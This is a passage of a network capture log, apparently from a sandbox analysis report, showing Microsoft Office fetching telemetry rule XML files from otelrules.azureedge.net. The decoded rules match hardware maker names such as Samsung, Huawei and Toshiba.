xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49772	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:15 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:15 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:15 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 06b72246-101e-0079-2a0d-275913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114515Z-16849878b78zqkvcwgr6h55x9n00000001gg000000001w3y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:15 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49773	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:15 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:15 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:15 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 546431bf-201e-0085-0b72-2734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114515Z-16849878b78z2wx67pvzz63kdg00000000p0000000002rcr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-26 11:45:15 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49774	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:15 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:15 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:15 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 9b0fb70e-e01e-0020-42f5-24de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114515Z-r197bdfb6b46kdskt78qagqq1c0000000230000000003ven x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:15 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49775	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:15 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:15 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:15 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 96e16e7c-301e-000c-53ef-25323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114515Z-17c5cb586f6g6g2sbe6edp75y400000003xg00000000a2ds x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:15 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49776	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:15 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:15 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:15 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: d73e8916-101e-008d-6973-2792e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114515Z-17c5cb586f6f8m6jnehy0z65x40000000150000000007zp6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:15 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49777	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:15 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:16 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:16 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: e79f0600-d01e-00ad-4ef2-24e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114516Z-15b8d89586f8nxpt6ys645x5v000000003900000000007ng x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:16 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49779	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:16 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:16 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:16 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 488bf4d4-001e-00a2-2656-26d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114516Z-17c5cb586f6sqz6fff89etrx0800000001g00000000096ad x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:16 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49778	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:16 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:16 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:16 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: fac34a93-601e-003e-3e76-273248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114516Z-16849878b78q9m8bqvwuva4svc00000000kg000000002grq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-26 11:45:16 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49781	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:16 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:16 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:16 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: c1e5dbf7-401e-0029-2d43-269b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114516Z-17c5cb586f6mkpfk79wxvcahc000000002e000000000355m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:16 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49780	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:16 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:16 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:16 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 01fc617d-601e-000d-05a4-262618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114516Z-16849878b78z2wx67pvzz63kdg00000000mg000000005hqv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:16 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49782	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:16 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:16 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:16 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 2044f02f-601e-0001-42eb-25faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114516Z-16849878b78bcpfn2qf7sm6hsn00000003p0000000003ase x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:16 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49783	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:45:16 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:45:17 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:45:17 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: a783173c-501e-008c-2349-27cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114517Z-16849878b786lft2mu9uftf3y4000000034000000000dr9t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:45:17 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 